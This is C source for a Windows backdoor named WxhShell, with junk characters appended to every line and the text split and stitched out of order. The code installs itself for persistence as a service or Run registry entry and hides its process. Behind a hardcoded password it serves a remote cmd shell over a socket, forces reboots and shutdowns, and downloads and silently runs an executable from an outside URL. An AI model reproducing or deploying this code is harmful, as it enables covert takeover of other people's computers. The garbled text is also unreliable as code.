    if(Boot(SHUTDOWN)) Rap =&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j=V2~ xA6  
    else { Lv<)Dur0K  
    closesocket(wsh); 3BK_$Fy  
    ExitThread(0); g7`uWAxZa  
    } lfe^_`ij(+  
    break; e)Pm{:E  
    } 'l41];_  
  // 获取shell Vd+5an?  
  case 's': { G&,2>qxK R  
    CmdShell(wsh); ibxtrt=  
    closesocket(wsh); NVG`XL  
    ExitThread(0); IEQ6J}L  
    break; 12S[m~L%  
  } N,?D<NjXl  
  // 退出 dY$jg  
  case 'x': { *rmwTD"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U\`yLsKvH`  
    CloseIt(wsh); q,fk@GI'2  
    break; =G-u "QJ6  
    } nTH!_S>b(Y  
  // 离开 tRzo}_+N  
  case 'q': { #e5*Dr8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #M=d)}[  
    closesocket(wsh); &4V"FHy2  
    WSACleanup(); ^#,cWG}z  
    exit(1); r57rH^Hc  
    break; _^Lg}@t  
        } ]M.)N.T  
  } ((E5w:=?  
  } 5%%A2FrB.S  
OJ4-p&1  
  // 提示信息 5c+7c@.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t.]c44RY  
} !Z`xwk"!  
  } `^1&Qz>  
tX.{+yyU  
  return; 3I.0uLjg^  
} d +Bz pS@p  
cwKOE?!  
// shell模块句柄 -nKBSls  
int CmdShell(SOCKET sock) J6*B=PX=(  
{ Ykt(%2L  
STARTUPINFO si; n+;PfQ|  
ZeroMemory(&si,sizeof(si)); Bl8&g]dk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~zA{=|I2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G##^xFx  
PROCESS_INFORMATION ProcessInfo; ;WpPdR2  
char cmdline[]="cmd"; !Knv/:+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {1j[RE  
  return 0; ||vQW\g  
} EL=}xug,?  
?$\y0lHw/7  
// 自身启动模式 O-K!Bv^ Q  
int StartFromService(void) uH?lj&  
{ 4,g3 c  
typedef struct #$(wfb9  
{ ky5gU[  
  DWORD ExitStatus; | QI-gw  
  DWORD PebBaseAddress; 4!r> ^a  
  DWORD AffinityMask; q'p>__Ox  
  DWORD BasePriority; Ch9A6?=Hj8  
  ULONG UniqueProcessId; q{t"=@lX01  
  ULONG InheritedFromUniqueProcessId; `O/RNMaC  
}   PROCESS_BASIC_INFORMATION; m K@a7fF?  
,9;d"ce  
PROCNTQSIP NtQueryInformationProcess; Q`X5W  
59I}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k<3 _!?3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *>XY' -;2e  
#O .-/&Z  
  HANDLE             hProcess; b1{XGK'  
  PROCESS_BASIC_INFORMATION pbi; fMFlY%@t  
y Yvv;E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AFcA5: ja  
  if(NULL == hInst ) return 0; I#tEDeF2  
aE2 3[So  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]\:FFg_O6t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {\HE'C/?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6@ HY+RCx  
tKUy&]T  
  if (!NtQueryInformationProcess) return 0; UW[{Y|oE  
<.<Q.z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N#`aVW'{v2  
  if(!hProcess) return 0; 2)^[SpZ  
7" wn0 24  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WxS=Aip'  
7#R& OQ  
  CloseHandle(hProcess); UVD::  
7TQh'j   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S hM}w/4  
if(hProcess==NULL) return 0; ;,h*s, i  
IBzHXa>75  
HMODULE hMod; ptmPO4f  
char procName[255]; Ueyt}44.e2  
unsigned long cbNeeded; IK6XJsz$J  
4l?98  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _u:4y4}  
3&@MZF&  
  CloseHandle(hProcess); AOaf,ZF 8  
OQA3~\Vu  
if(strstr(procName,"services")) return 1; // 以服务启动 6]}Xi:I  
g/q$;cB  
  return 0; // 注册表启动 EN%Xs578  
} CFh&z^]PR  
u0J+Nj9  
// 主模块 o/fq  
int StartWxhshell(LPSTR lpCmdLine) DOWUnJ;5  
{ m`c(J1Et  
  SOCKET wsl; ~QsQ7SAs  
BOOL val=TRUE; ::vw 1Es  
  int port=0; +G_6Ek4  
  struct sockaddr_in door; B!le=V,@,  
ma }Y\(38  
  if(wscfg.ws_autoins) Install(); 2/B Flb  
MQ>vHapr  
port=atoi(lpCmdLine); '+X9MzU*\  
3A} n tA!  
if(port<=0) port=wscfg.ws_port; gHlahg  
NG_O I*|~  
  WSADATA data; <v('HLA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZH%[wQ~4  
=fHt|}.K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cuR|cUK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &T}v1c7)  
  door.sin_family = AF_INET; Te> 7I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yg2~qa:dZ  
  door.sin_port = htons(port); C({L4O#?o  
kkrQ;i)Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _}!Q4K  
closesocket(wsl); |l ~BdP  
return 1; $}k"wI[  
} JPUDnPr  
;8g#"p*&  
  if(listen(wsl,2) == INVALID_SOCKET) { Vb 4Qt#o  
closesocket(wsl); ~pj9_I  
return 1; US7hKNm.  
} _jZDSz|Yb  
  Wxhshell(wsl); -lMC{~h\(S  
  WSACleanup(); nwN<Q\]S  
KX<RD|=  
return 0; jVRd[  
X2i<2N*@  
} D 2!ww{t  
LTtfOcrt  
// 以NT服务方式启动  fV}\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m ]K.0E  
{ =10t3nA1$  
DWORD   status = 0; -"a+<(Y  
  DWORD   specificError = 0xfffffff; xel&8 `  
~.x!st}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @-b}iP<T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {=g-zsc]K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?EX'j >  
  serviceStatus.dwWin32ExitCode     = 0; 8d)F#  
  serviceStatus.dwServiceSpecificExitCode = 0; [1nI%/</>  
  serviceStatus.dwCheckPoint       = 0; fJE ki>1  
  serviceStatus.dwWaitHint       = 0; K?T)9  
V7401@F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {b<8Z*4W  
  if (hServiceStatusHandle==0) return; )X^nzhZ2O"  
TTE#7\K~B  
status = GetLastError(); +]]wf'w  
  if (status!=NO_ERROR) g'Xl>q  
{ c= a+7>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T>uLqd{hH  
    serviceStatus.dwCheckPoint       = 0; )cqhbR  
    serviceStatus.dwWaitHint       = 0; syZ-xE]}  
    serviceStatus.dwWin32ExitCode     = status; b vu` =  
    serviceStatus.dwServiceSpecificExitCode = specificError; yl'~H;su  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W: ?-d{  
    return;  Uero!+_  
  } Pm?6]] 7  
,+X8?9v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c~RIl5j  
  serviceStatus.dwCheckPoint       = 0; >M1/m=a  
  serviceStatus.dwWaitHint       = 0; II<<-Y6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p[o2F5 T2  
} #^v5Eo  
3mJHk<m8T  
// 处理NT服务事件,比如:启动、停止 ]owH [wvX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A:NY:#uC  
{ 56bB~ =c  
switch(fdwControl) WJ.PPq>]F  
{ X2e|[MWkp  
case SERVICE_CONTROL_STOP: s{q2C}=$?D  
  serviceStatus.dwWin32ExitCode = 0; Pdn.c1[-a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v;$^1I  
  serviceStatus.dwCheckPoint   = 0; nlmkkTHF8  
  serviceStatus.dwWaitHint     = 0; I'@ }Yjm|  
  { @s IZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Cb(4h-  
  } S&=B&23T  
  return; !X.N$0  
case SERVICE_CONTROL_PAUSE: by06!-P0[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _&z>Id`w  
  break; sJ?kp^!g  
case SERVICE_CONTROL_CONTINUE: W"Rii]GK"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O.$<Bf9  
  break; nu3 A'E`'k  
case SERVICE_CONTROL_INTERROGATE: !J71[4t  
  break; p~mB;pZ%;  
}; 1_p'0lFe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [MEa@D<7N  
} vv8$u3H  
$o@?D^  
// 标准应用程序主函数 uVO9r-O8p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JV/,QWar  
{ ~T-.k 7t  
ji8 Rd"S  
// 获取操作系统版本 !.J~`Y'd_  
OsIsNt=GetOsVer(); ;% !?dH6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;dWqMnV  
Qxvz}r.l]  
  // 从命令行安装 QAJ>93  
  if(strpbrk(lpCmdLine,"iI")) Install(); @KpzxcEoO  
l1:j/[B=  
  // 下载执行文件 /.?\P#9)  
if(wscfg.ws_downexe) { DuE>KX{<!R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f@}(<#  
  WinExec(wscfg.ws_filenam,SW_HIDE); o+t?OG/0  
} M)xK+f2_[  
)b7mzDp(  
if(!OsIsNt) { dG rA18  
// 如果时win9x,隐藏进程并且设置为注册表启动 p>zE/Pw~  
HideProc(); *= 71/&B  
StartWxhshell(lpCmdLine); MJC Yi<D  
} }"8_$VDcz  
else +\ySx^vi  
  if(StartFromService()) bCrB'&^t  
  // 以服务方式启动 2<O8=I _  
  StartServiceCtrlDispatcher(DispatchTable); f6"j-IW[z  
else us cR/d  
  // 普通方式启动 E.6\(^g  
  StartWxhshell(lpCmdLine); ~9c9@!RA2  
aj,ZM,Ad  
return 0; C[pDPx,#:G  
} MQ+ek4  
5R Hs  
}Q=Zqlvz  
_SaK]7}m!  
=========================================== a9I8W Q   
meL'toaJdQ  
"+WR[-n>\  
/7#&qx8  
?4Lo"igAA  
+ ND9###  
" }cT}G;L'-  
2ya`2 m  
#include <stdio.h> H5AY6),  
#include <string.h> OS 6 )`  
#include <windows.h> s7e'9Bx  
#include <winsock2.h> hJ<2bgQo  
#include <winsvc.h> @CmxH(-i-  
#include <urlmon.h> {2x5 V#6  
B<R-|-#  
#pragma comment (lib, "Ws2_32.lib") hmH$_YP}  
#pragma comment (lib, "urlmon.lib") kC0!`$<2f)  
(+_J0i t  
#define MAX_USER   100 // 最大客户端连接数 vy#(|[pL{  
#define BUF_SOCK   200 // sock buffer f+6l0@K2  
#define KEY_BUFF   255 // 输入 buffer p(G?  
uS'ji k}  
#define REBOOT     0   // 重启 %)D7Dr  
#define SHUTDOWN   1   // 关机 fUL"fMoU  
=gIYa  
#define DEF_PORT   5000 // 监听端口 wj^I1;lO  
"Pc,+>vh  
#define REG_LEN     16   // 注册表键长度 = I(s7=Liu  
#define SVC_LEN     80   // NT服务名长度 hvyN8We  
6&Dvp1`m  
// 从dll定义API a)1,/:7'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b {5|2&=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r2th6hl~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lk9>7xY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IO#W#wW$M  
RtL<hD  
// wxhshell配置信息 ^ztf:'l@C  
struct WSCFG { CA4-&O"  
  int ws_port;         // 监听端口 o^?{j*)g  
  char ws_passstr[REG_LEN]; // 口令 D$cMPFa2Nt  
  int ws_autoins;       // 安装标记, 1=yes 0=no *ls6#j@  
  char ws_regname[REG_LEN]; // 注册表键名 bwJi[xF  
  char ws_svcname[REG_LEN]; // 服务名 WGmCQE[/c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eFQi K6`i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4L e5Ms/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z|c9%.,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yLx.*I^6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ q&J"dt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q,DX{:  
dX*>?a  
}; LXLDu2/@  
2YKM9Ks  
// default Wxhshell configuration SDIeq  
struct WSCFG wscfg={DEF_PORT, 1l_}O1  
    "xuhuanlingzhe", -G;1U  
    1, ,#T3OA!c**  
    "Wxhshell", F4x7;?W{*  
    "Wxhshell", ]3xa{ h~4  
            "WxhShell Service", =]a@)6y  
    "Wrsky Windows CmdShell Service", %7#Zb'  
    "Please Input Your Password: ", E/ZJ\@gzD  
  1, ]eW|}V7A:  
  "http://www.wrsky.com/wxhshell.exe", 1Ol]^ 'y7)  
  "Wxhshell.exe" ugB{2oqi  
    }; LrMFzd}_O  
-y?Z}5-rs  
// 消息定义模块 h'~- K`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kZ9< j+.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <6C9R>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j>xVy]v=|  
char *msg_ws_ext="\n\rExit."; fWyDWU  
char *msg_ws_end="\n\rQuit."; :dN35Y]a  
char *msg_ws_boot="\n\rReboot..."; /8}+# h)[  
char *msg_ws_poff="\n\rShutdown..."; Ye2];(M  
char *msg_ws_down="\n\rSave to "; V(u2{4gZ  
>k}/$R+  
char *msg_ws_err="\n\rErr!"; Y:%)cUxA  
char *msg_ws_ok="\n\rOK!"; 2\{uq v  
CLEG'bZa,  
char ExeFile[MAX_PATH]; e:LZs0  
int nUser = 0; $ud>Z;X=P  
HANDLE handles[MAX_USER]; 1gm/{w6O  
int OsIsNt; O&w3@9KJ?  
l;*lPRoW,  
SERVICE_STATUS       serviceStatus; 1bg@[YN!;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @$d\5Q(G  
AvE^ F1  
// 函数声明 8(5E<&JP  
int Install(void); `^L<db^A  
int Uninstall(void); \>Rwg=Lh  
int DownloadFile(char *sURL, SOCKET wsh); H ?j-=Zka  
int Boot(int flag); 9>3Ltnn0  
void HideProc(void); sBtG}Mo)  
int GetOsVer(void); MQ(/l_=zQ  
int Wxhshell(SOCKET wsl); W8$=a  
void TalkWithClient(void *cs); B" m:<@ "  
int CmdShell(SOCKET sock); 0DB<hpC:5  
int StartFromService(void); BhW]Oq&  
int StartWxhshell(LPSTR lpCmdLine); |Xm4(FN\  
T[h}A"yK;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -\'.JA_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R}wwC[{  
d Zz^9:C+  
// 数据结构和表定义 9/daRq$  
SERVICE_TABLE_ENTRY DispatchTable[] = hcd>A vC8  
{ (1SO;8k\  
{wscfg.ws_svcname, NTServiceMain}, _8li4;F  
{NULL, NULL} Mc7<[a  
}; |M<.O~|D6}  
h:jI  
// 自我安装 ZqbM%(=z(`  
int Install(void) 1mn$Rh&dO  
{ l8xd73D)8  
  char svExeFile[MAX_PATH]; $^=jPk]+  
  HKEY key; RA/ =w&  
  strcpy(svExeFile,ExeFile); 8U<.16+5Q  
mXU?+G0  
// 如果是win9x系统,修改注册表设为自启动 Ag#5.,B-  
if(!OsIsNt) { KPjqw{gR_R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wGzXp5 dl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e0N=2i?I#z  
  RegCloseKey(key); #4_O;]{'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nUud?F^_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jaO#><f  
  RegCloseKey(key); _c9 WWp?  
  return 0; \e:FmG  
    } Wqs.oh  
  } 0|s$vqc  
} }8V;s-1  
else { H]i+o6  
Iz?W tm }  
// 如果是NT以上系统,安装为系统服务 s/G5wRl<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NkA6Cp[Q,1  
if (schSCManager!=0) m>uI\OY{n  
{ p#;dLM/EA  
  SC_HANDLE schService = CreateService iTugvb  
  ( <S8I"8{Mb  
  schSCManager, *M5$ h*;v  
  wscfg.ws_svcname, 2>MP:yY;K  
  wscfg.ws_svcdisp, Ife,h s  
  SERVICE_ALL_ACCESS, XuFm4DEJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }U?gKlLg  
  SERVICE_AUTO_START, p21=$?k!;  
  SERVICE_ERROR_NORMAL, @%G'U&R{  
  svExeFile, D2TXOPH  
  NULL, SJ@8[n.x  
  NULL, yToT7 X7F7  
  NULL, Xw*%3'  
  NULL, ;ad9{":J#B  
  NULL 4('0f:9z+  
  ); GwMUIevO_  
  if (schService!=0) neB.Wu~WH  
  { +2V%'{:  
  CloseServiceHandle(schService); \}u7T[R=`  
  CloseServiceHandle(schSCManager); Owh*KY:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q_dXRBv=n  
  strcat(svExeFile,wscfg.ws_svcname); 9!O+Ryy?\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OP|.I._I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o]|oAN9  
  RegCloseKey(key); lrmt)BLoh  
  return 0; f>s#Ngvc  
    } [L*[j.r7[  
  } %qNj{<&  
  CloseServiceHandle(schSCManager); 5&n988g C8  
} NWQPOq#  
} 4uO @`0:x  
2[8fFo>  
return 1; de=5=>P7  
} U5On-T5  
=0PNHO\gl  
// 自我卸载 9{9#AI.G  
int Uninstall(void) }j5R@I6P  
{ /\,_P  
  HKEY key; f gK2.;>  
{p#l!P/  
if(!OsIsNt) { K)9j je  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H#kAm!H  
  RegDeleteValue(key,wscfg.ws_regname); +Dq|l}  
  RegCloseKey(key); Sg CqxFii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q(ZB.  
  RegDeleteValue(key,wscfg.ws_regname); LM"W)S  
  RegCloseKey(key); 'FPcAW^8  
  return 0; 6:|!1Pg5  
  } <i{m.p R>  
} 8`AcS|k  
} 9&[) (On74  
else { fR]p+\#8u*  
E,*JPK-A x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !~lVv&YO  
if (schSCManager!=0) 3P+4S|@q(4  
{ 3xmiX{1e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G_2gKkIK-  
  if (schService!=0) DGa#d_I  
  { ~J:$gu~`  
  if(DeleteService(schService)!=0) { {dy` %It  
  CloseServiceHandle(schService); a2c x  
  CloseServiceHandle(schSCManager); c]s (u+i  
  return 0; c ,h.`~{  
  } O:`GL1{ve?  
  CloseServiceHandle(schService); RQj`9F  
  } xVsa,EX b  
  CloseServiceHandle(schSCManager); LT,iS)dY+  
} a gmeiJT  
} J+/}K>2#  
vCy.CN$  
return 1; XJ f+Eh  
} 1V*8,YiC<  
hb /8Q  
// 从指定url下载文件 h"VpQhi  
int DownloadFile(char *sURL, SOCKET wsh) dAYI DE  
{ Dh\S`nfFq  
  HRESULT hr; S\! a"0$  
char seps[]= "/"; }|Hw0zP.  
char *token; 8Ehy9<  
char *file; G?Qe"4 .  
char myURL[MAX_PATH]; 8~&F/C*  
char myFILE[MAX_PATH]; 6pM"h5hA  
W\I$`gyC/  
strcpy(myURL,sURL); Z #.GI  
  token=strtok(myURL,seps); T8,k7 7  
  while(token!=NULL) ALE808;|  
  { D:YN_J"kV  
    file=token; l1-4n*fU  
  token=strtok(NULL,seps); -vv   
  } $:%*gY4~76  
iN:G/ss4O  
GetCurrentDirectory(MAX_PATH,myFILE); s0C?Bb}?  
strcat(myFILE, "\\"); '`M#UuU  
strcat(myFILE, file); -{yDk$"  
  send(wsh,myFILE,strlen(myFILE),0); DHh+%|e  
send(wsh,"...",3,0); SBCL1aM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  _/8_,9H  
  if(hr==S_OK) |Q5H9<*  
return 0; k9*J*7l-m  
else ax-=n(   
return 1; ^;V}l?J_s  
QE7+rBa  
} 0=N4O!X9  
vbr~<JT=  
// 系统电源模块  'P@=/  
int Boot(int flag) 7j@^+rkr3f  
{ LFE p  
  HANDLE hToken; zrLhQ3V#>  
  TOKEN_PRIVILEGES tkp; YYTO,4  
&GXtdO>;Zv  
  if(OsIsNt) { pj!k|F9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W@:^aH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]h #WkcXQ  
    tkp.PrivilegeCount = 1; GIl:3iB49  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |RHO+J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H/cs_i  
if(flag==REBOOT) { EsT0"{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ggrI>vaw  
  return 0; jG+T.  
} R19'| TJ  
else { qJ\X~5{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z 7`5x  
  return 0; 8pX f T%]  
} mBw2  
  } umJay />  
  else { M.o?CX'  
if(flag==REBOOT) { ,$HHaoo g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,3G$`  
  return 0; Zr\2BOcc.l  
} >=4sPF)  
else { am]3 "V>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hm.X}HO0L  
  return 0; R!sNg   
} n (OjjR m  
} YH6snC$u  
@)  
return 1; IetCMp  
} z VnIr<!8_  
S/a/1 n$ U  
// win9x进程隐藏模块 ]MC/t5vCu  
void HideProc(void) 6o$Z0mG  
{ iYkRo>3!QX  
"EJ\]S]$X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OZ eiH X!  
  if ( hKernel != NULL ) 8r2XGR  
  { , yTN$K%M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {\P?/U6~f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q A.+U:I8  
    FreeLibrary(hKernel); |c<XSX?ir  
  } kBrvl^D{5  
`2pO5B50  
return; jeY4yM  
} FL59  
RwUW;hU  
// 获取操作系统版本 Vz%"9`r  
int GetOsVer(void) S*;#'j)4+  
{ ERk kS Tp  
  OSVERSIONINFO winfo; J=b*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ozVpfs  
  GetVersionEx(&winfo); *^n^nnCwp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :RPVT,O}  
  return 1; ZmNZS0j  
  else 4"LPJX)Q  
  return 0; baqn7k"  
} 7^HpVcSM  
r Z pbu>S  
// 客户端句柄模块 C=8H)Ef,l  
int Wxhshell(SOCKET wsl) cvxIp#FbW  
{ ,&0Z]*  
  SOCKET wsh; `$H7KIG  
  struct sockaddr_in client; Xu6jHJ@x  
  DWORD myID; JFe4/ V  
g .3f2w  
  while(nUser<MAX_USER) $,!hD\a  
{ p#)e:/Qy  
  int nSize=sizeof(client); ,Ak ^nX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nc,*hsx'  
  if(wsh==INVALID_SOCKET) return 1; 7Ez}k}aR<  
GM:, CJ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4>l0V<  
if(handles[nUser]==0) &/HoSj>HS  
  closesocket(wsh); ;D:=XA%  
else )#C_mB$-#  
  nUser++; S45'j(S=  
  } OthG7+eF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 61G|?Aax  
-H4PRCDH  
  return 0; JW-|<CJ  
} X!o@f$  
bH_I7G&m  
// 关闭 socket fTTm$,f5N  
void CloseIt(SOCKET wsh) FWIih5 3`  
{ "X`Qe!zk4  
closesocket(wsh); vnDmFqelz  
nUser--; 4yhcK&  
ExitThread(0); O(odNQy~  
} r;9z 5'  
f;R>Pr;rD  
// 客户端请求句柄 fD0{ 5  
void TalkWithClient(void *cs) .6LS+[  
{ $kv@tzO  
^[0" vtb  
  SOCKET wsh=(SOCKET)cs; 8*vFdoE_oO  
  char pwd[SVC_LEN]; li@k Lh  
  char cmd[KEY_BUFF]; Ur n  
char chr[1]; :u AjV  
int i,j; tO7I&LNE  
bZu$0IG  
  while (nUser < MAX_USER) { L,6MF,vx  
6I"C~&dt  
if(wscfg.ws_passstr) { A^8x1ydZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mg+4huT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rw/Ciw2@?  
  //ZeroMemory(pwd,KEY_BUFF); nVNs][  
      i=0; @Zj& `/  
  while(i<SVC_LEN) { HXyFj  
Q@3B{  
  // 设置超时 _g65pxt =Z  
  fd_set FdRead; &u("|O)w$  
  struct timeval TimeOut; sLNNcj(Cy>  
  FD_ZERO(&FdRead); Y4`QK+~fH  
  FD_SET(wsh,&FdRead); V>AS%lXj  
  TimeOut.tv_sec=8; JfSdUWxT  
  TimeOut.tv_usec=0; {b[tA, >  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hw*1gm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  C[R`Ml  
&"xQ~05  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o7J{+V  
  pwd=chr[0]; Q]^Yi1PbS  
  if(chr[0]==0xd || chr[0]==0xa) { <;aJ#qT  
  pwd=0; !KAsvF,j  
  break; 9]Lo  
  } `wf|uM  
  i++; Ep<YCSQy$i  
    } $Vsy%gA<  
9?$RO[vo  
  // 如果是非法用户,关闭 socket x`#22"m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BK*z 4m  
} moaodmt]x  
1EQvcw #  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;KL9oV!<f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p+vh[+yp  
C>NQ-w^  
while(1) { RN vQ  
D@:"f?K>  
  ZeroMemory(cmd,KEY_BUFF); t|<FA#  
ZRPE-l_3:  
      // 自动支持客户端 telnet标准   my4\mi6P  
  j=0; S{- f $Q*  
  while(j<KEY_BUFF) { G@B*E%$9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^g[J*{+!W  
  cmd[j]=chr[0]; 22|"K**3J|  
  if(chr[0]==0xa || chr[0]==0xd) { r 3|4gG  
  cmd[j]=0; 'd+:D'  
  break; i0iez9B  
  } .N!{ U  
  j++; 6W$rY] h!  
    } [1Uz_HY["3  
i_NJ -K  
  // 下载文件 uS&LG#a  
  if(strstr(cmd,"http://")) { 0`6),R'x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H}B2A"  
  if(DownloadFile(cmd,wsh)) Jl_~_Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_(0  
  else 7pP+5&*  
